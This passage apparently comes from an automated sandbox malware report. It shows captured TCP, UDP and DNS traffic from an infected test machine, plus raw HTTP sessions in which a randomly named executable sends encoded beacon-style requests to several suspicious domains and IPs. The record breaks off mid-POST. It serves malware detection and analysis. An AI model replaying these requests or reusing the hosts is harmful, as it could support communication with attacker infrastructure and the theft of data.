                                Jun 5, 2024 18:29:39.610527039 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.610532999 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.610562086 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.610682011 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.610687971 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.610693932 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.610754013 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.610754013 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.613185883 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.680767059 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.729336977 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729346991 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729477882 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729482889 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729482889 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.729516029 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729589939 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729594946 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729597092 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.729670048 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729672909 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.729676008 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729806900 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.729815960 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729821920 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.729885101 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.730067015 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730073929 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730186939 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.730186939 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730195999 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730262995 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.730282068 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730386972 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.730566978 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730632067 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730673075 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730700016 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.730856895 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.730918884 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731008053 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731009007 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.731014013 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731148958 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731153965 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731167078 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731228113 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.731228113 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.731323004 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731781006 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731817007 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731829882 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731905937 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.731949091 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731955051 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.731966019 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.732054949 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.732131958 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.732189894 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.732340097 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.732629061 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.732693911 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.732842922 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.850627899 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.850742102 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.851957083 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.856803894 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:53.506499052 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:53.511451960 CEST804974818.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:53.511614084 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:53.513837099 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:53.518686056 CEST804974818.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:54.513753891 CEST804974818.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:54.696446896 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:54.720184088 CEST804974818.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:54.720379114 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:55.024594069 CEST4974880192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:56.044164896 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:56.049336910 CEST804974918.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:56.049447060 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:56.051960945 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:56.056915045 CEST804974918.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:57.068013906 CEST804974918.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:57.196399927 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:57.282042027 CEST804974918.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:57.282505989 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:57.557404995 CEST4974980192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:58.576231003 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:58.581310034 CEST804975018.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:58.581406116 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:58.585136890 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:58.590137005 CEST804975018.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:58.590197086 CEST804975018.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:59.592618942 CEST804975018.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:59.774777889 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:29:59.803416014 CEST804975018.178.206.118192.168.2.7
                                Jun 5, 2024 18:29:59.803700924 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:00.103167057 CEST4975080192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:01.122574091 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:01.127568960 CEST804975118.178.206.118192.168.2.7
                                Jun 5, 2024 18:30:01.131356001 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:01.133013010 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:01.138464928 CEST804975118.178.206.118192.168.2.7
                                Jun 5, 2024 18:30:02.148477077 CEST804975118.178.206.118192.168.2.7
                                Jun 5, 2024 18:30:02.303307056 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:02.362507105 CEST804975118.178.206.118192.168.2.7
                                Jun 5, 2024 18:30:02.362629890 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:02.363806963 CEST4975180192.168.2.718.178.206.118
                                Jun 5, 2024 18:30:02.368696928 CEST804975118.178.206.118192.168.2.7
                                Jun 5, 2024 18:30:07.687005997 CEST4975280192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:07.692102909 CEST804975266.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:07.694304943 CEST4975280192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:07.697262049 CEST4975280192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:07.702315092 CEST804975266.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:08.381361961 CEST804975266.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:08.423397064 CEST804975266.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:08.423450947 CEST4975280192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:09.214747906 CEST4975280192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:10.231590033 CEST4975380192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:10.236506939 CEST804975366.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:10.236573935 CEST4975380192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:10.239268064 CEST4975380192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:10.244147062 CEST804975366.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:10.922113895 CEST804975366.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:10.964116096 CEST804975366.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:10.971328974 CEST4975380192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:11.743807077 CEST4975380192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:12.763403893 CEST4975480192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:12.769134998 CEST804975466.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:12.769826889 CEST4975480192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:12.771497965 CEST4975480192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:12.776386976 CEST804975466.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:12.777209044 CEST804975466.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:13.450958014 CEST804975466.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:13.493089914 CEST804975466.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:13.498418093 CEST4975480192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:14.274758101 CEST4975480192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:16.918276072 CEST4975580192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:16.923410892 CEST804975566.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:16.923981905 CEST4975580192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:16.925648928 CEST4975580192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:16.930561066 CEST804975566.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:19.611146927 CEST804975566.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:19.655536890 CEST804975566.96.162.149192.168.2.7
                                Jun 5, 2024 18:30:19.655803919 CEST4975580192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:19.656680107 CEST4975580192.168.2.766.96.162.149
                                Jun 5, 2024 18:30:19.664767027 CEST804975566.96.162.149192.168.2.7

                                UDP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Jun 5, 2024 18:26:54.331760883 CEST5408653192.168.2.71.1.1.1
                                Jun 5, 2024 18:26:54.689910889 CEST53540861.1.1.1192.168.2.7
                                Jun 5, 2024 18:26:59.699733973 CEST5699053192.168.2.71.1.1.1
                                Jun 5, 2024 18:26:59.761246920 CEST53569901.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:15.496084929 CEST6466553192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:16.492803097 CEST6466553192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:16.671544075 CEST53646651.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:16.685754061 CEST53646651.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:29.949387074 CEST5753053192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:30.259701967 CEST53575301.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:43.981256962 CEST5120553192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:44.240690947 CEST53512051.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:58.496612072 CEST4952853192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:59.496294975 CEST4952853192.168.2.71.1.1.1
                                Jun 5, 2024 18:27:59.664191008 CEST53495281.1.1.1192.168.2.7
                                Jun 5, 2024 18:27:59.664319992 CEST53495281.1.1.1192.168.2.7
                                Jun 5, 2024 18:28:13.778332949 CEST5649253192.168.2.71.1.1.1
                                Jun 5, 2024 18:28:13.790096998 CEST53564921.1.1.1192.168.2.7
                                Jun 5, 2024 18:28:21.859253883 CEST5960853192.168.2.71.1.1.1
                                Jun 5, 2024 18:28:21.900665045 CEST53596081.1.1.1192.168.2.7
                                Jun 5, 2024 18:28:41.488004923 CEST5972353192.168.2.71.1.1.1
                                Jun 5, 2024 18:28:41.887233973 CEST53597231.1.1.1192.168.2.7
                                Jun 5, 2024 18:28:55.246263027 CEST6465453192.168.2.71.1.1.1
                                Jun 5, 2024 18:28:55.758563042 CEST53646541.1.1.1192.168.2.7
                                Jun 5, 2024 18:29:09.199626923 CEST6005653192.168.2.71.1.1.1
                                Jun 5, 2024 18:29:09.220150948 CEST53600561.1.1.1192.168.2.7
                                Jun 5, 2024 18:29:17.297926903 CEST5002353192.168.2.71.1.1.1
                                Jun 5, 2024 18:29:17.370260000 CEST53500231.1.1.1192.168.2.7
                                Jun 5, 2024 18:29:31.012716055 CEST5065153192.168.2.71.1.1.1
                                Jun 5, 2024 18:29:31.027184963 CEST53506511.1.1.1192.168.2.7
                                Jun 5, 2024 18:29:44.858705997 CEST5210853192.168.2.71.1.1.1
                                Jun 5, 2024 18:29:44.868803978 CEST53521081.1.1.1192.168.2.7
                                Jun 5, 2024 18:29:52.950803995 CEST6234953192.168.2.71.1.1.1
                                Jun 5, 2024 18:29:53.502109051 CEST53623491.1.1.1192.168.2.7
                                Jun 5, 2024 18:30:07.374159098 CEST6047353192.168.2.71.1.1.1
                                Jun 5, 2024 18:30:07.684690952 CEST53604731.1.1.1192.168.2.7

                                DNS Queries

                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Jun 5, 2024 18:26:54.331760883 CEST192.168.2.71.1.1.10x64fbStandard query (0)www.fr2e4o.cfdA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:26:59.699733973 CEST192.168.2.71.1.1.10xbf45Standard query (0)www.futuregainers.netA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:15.496084929 CEST192.168.2.71.1.1.10x9e6dStandard query (0)www.shopnow321.onlineA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:16.492803097 CEST192.168.2.71.1.1.10x9e6dStandard query (0)www.shopnow321.onlineA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:29.949387074 CEST192.168.2.71.1.1.10xd039Standard query (0)www.klimkina.proA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:43.981256962 CEST192.168.2.71.1.1.10xa85dStandard query (0)www.shahaf3d.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:58.496612072 CEST192.168.2.71.1.1.10x7088Standard query (0)www.againbeautywhiteskin.asiaA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.496294975 CEST192.168.2.71.1.1.10x7088Standard query (0)www.againbeautywhiteskin.asiaA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:13.778332949 CEST192.168.2.71.1.1.10xd288Standard query (0)www.homeppower.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:21.859253883 CEST192.168.2.71.1.1.10x34ddStandard query (0)www.lenovest.xyzA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:41.488004923 CEST192.168.2.71.1.1.10x1a77Standard query (0)www.931951.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:55.246263027 CEST192.168.2.71.1.1.10x19f1Standard query (0)www.srripaspocon.orgA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:09.199626923 CEST192.168.2.71.1.1.10xed45Standard query (0)www.x5hh186z.skinA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:17.297926903 CEST192.168.2.71.1.1.10x51d1Standard query (0)www.torentreprenad.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:31.012716055 CEST192.168.2.71.1.1.10x2e8bStandard query (0)www.grecanici.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:44.858705997 CEST192.168.2.71.1.1.10xdf1bStandard query (0)www.navigate-power.boatsA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:52.950803995 CEST192.168.2.71.1.1.10xb2bdStandard query (0)www.93v0.comA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:30:07.374159098 CEST192.168.2.71.1.1.10xf6e5Standard query (0)www.leadchanges.infoA (IP address)IN (0x0001)false

                                DNS Answers

                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Jun 5, 2024 18:26:54.689910889 CEST1.1.1.1192.168.2.70x64fbName error (3)www.fr2e4o.cfdnonenoneA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:26:59.761246920 CEST1.1.1.1192.168.2.70xbf45No error (0)www.futuregainers.netfuturegainers.netCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:26:59.761246920 CEST1.1.1.1192.168.2.70xbf45No error (0)futuregainers.net195.35.39.119A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:16.671544075 CEST1.1.1.1192.168.2.70x9e6dNo error (0)www.shopnow321.onlineshopnow321.onlineCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:27:16.671544075 CEST1.1.1.1192.168.2.70x9e6dNo error (0)shopnow321.online162.241.2.254A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:16.685754061 CEST1.1.1.1192.168.2.70x9e6dNo error (0)www.shopnow321.onlineshopnow321.onlineCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:27:16.685754061 CEST1.1.1.1192.168.2.70x9e6dNo error (0)shopnow321.online162.241.2.254A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:30.259701967 CEST1.1.1.1192.168.2.70xd039No error (0)www.klimkina.pro185.137.235.103A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:30.259701967 CEST1.1.1.1192.168.2.70xd039No error (0)www.klimkina.pro185.137.235.193A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:30.259701967 CEST1.1.1.1192.168.2.70xd039No error (0)www.klimkina.pro185.137.235.77A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:30.259701967 CEST1.1.1.1192.168.2.70xd039No error (0)www.klimkina.pro185.137.235.125A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:30.259701967 CEST1.1.1.1192.168.2.70xd039No error (0)www.klimkina.pro185.137.235.192A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:44.240690947 CEST1.1.1.1192.168.2.70xa85dNo error (0)www.shahaf3d.comshahaf3d.comCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:27:44.240690947 CEST1.1.1.1192.168.2.70xa85dNo error (0)shahaf3d.com64.46.118.35A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664191008 CEST1.1.1.1192.168.2.70x7088No error (0)www.againbeautywhiteskin.asiadns.ladipage.comCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664191008 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com13.228.81.39A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664191008 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com18.139.62.226A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664191008 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com54.179.173.60A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664319992 CEST1.1.1.1192.168.2.70x7088No error (0)www.againbeautywhiteskin.asiadns.ladipage.comCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664319992 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com13.228.81.39A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664319992 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com18.139.62.226A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:27:59.664319992 CEST1.1.1.1192.168.2.70x7088No error (0)dns.ladipage.com54.179.173.60A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:13.790096998 CEST1.1.1.1192.168.2.70xd288Name error (3)www.homeppower.comnonenoneA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:21.900665045 CEST1.1.1.1192.168.2.70x34ddNo error (0)www.lenovest.xyz162.0.213.94A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:41.887233973 CEST1.1.1.1192.168.2.70x1a77No error (0)www.931951.com172.82.177.221A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:28:55.758563042 CEST1.1.1.1192.168.2.70x19f1No error (0)www.srripaspocon.orgsrripaspocon.orgCNAME (Canonical name)IN (0x0001)false
                                Jun 5, 2024 18:28:55.758563042 CEST1.1.1.1192.168.2.70x19f1No error (0)srripaspocon.org15.204.0.108A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:09.220150948 CEST1.1.1.1192.168.2.70xed45Name error (3)www.x5hh186z.skinnonenoneA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:17.370260000 CEST1.1.1.1192.168.2.70x51d1No error (0)www.torentreprenad.com194.9.94.86A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:17.370260000 CEST1.1.1.1192.168.2.70x51d1No error (0)www.torentreprenad.com194.9.94.85A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:31.027184963 CEST1.1.1.1192.168.2.70x2e8bNo error (0)www.grecanici.com35.214.235.206A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:44.868803978 CEST1.1.1.1192.168.2.70xdf1bName error (3)www.navigate-power.boatsnonenoneA (IP address)IN (0x0001)false
                                Jun 5, 2024 18:29:53.502109051 CEST1.1.1.1192.168.2.70xb2bdNo error (0)www.93v0.com18.178.206.118A (IP address)IN (0x0001)false
                                Jun 5, 2024 18:30:07.684690952 CEST1.1.1.1192.168.2.70xf6e5No error (0)www.leadchanges.info66.96.162.149A (IP address)IN (0x0001)false

                                HTTP Request Dependency Graph

                                • www.futuregainers.net
                                • www.shopnow321.online
                                • www.klimkina.pro
                                • www.shahaf3d.com
                                • www.againbeautywhiteskin.asia
                                • www.lenovest.xyz
                                • 2.56.245.142
                                • www.931951.com
                                • www.srripaspocon.org
                                • www.torentreprenad.com
                                • www.grecanici.com
                                • www.93v0.com
                                • www.leadchanges.info

                                HTTP Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.749709195.35.39.119804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:26:59.777451038 CEST452OUTGET /l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.futuregainers.net
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:27:00.447798967 CEST1235INHTTP/1.1 301 Moved Permanently
                                Connection: close
                                content-type: text/html
                                content-length: 795
                                date: Wed, 05 Jun 2024 16:27:00 GMT
                                server: LiteSpeed
                                location: https://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0
                                platform: hostinger
                                content-security-policy: upgrade-insecure-requests
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                1192.168.2.749711162.241.2.254804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:16.685231924 CEST717OUTPOST /41br/ HTTP/1.1
                                Host: www.shopnow321.online
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.shopnow321.online
                                Referer: http://www.shopnow321.online/41br/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
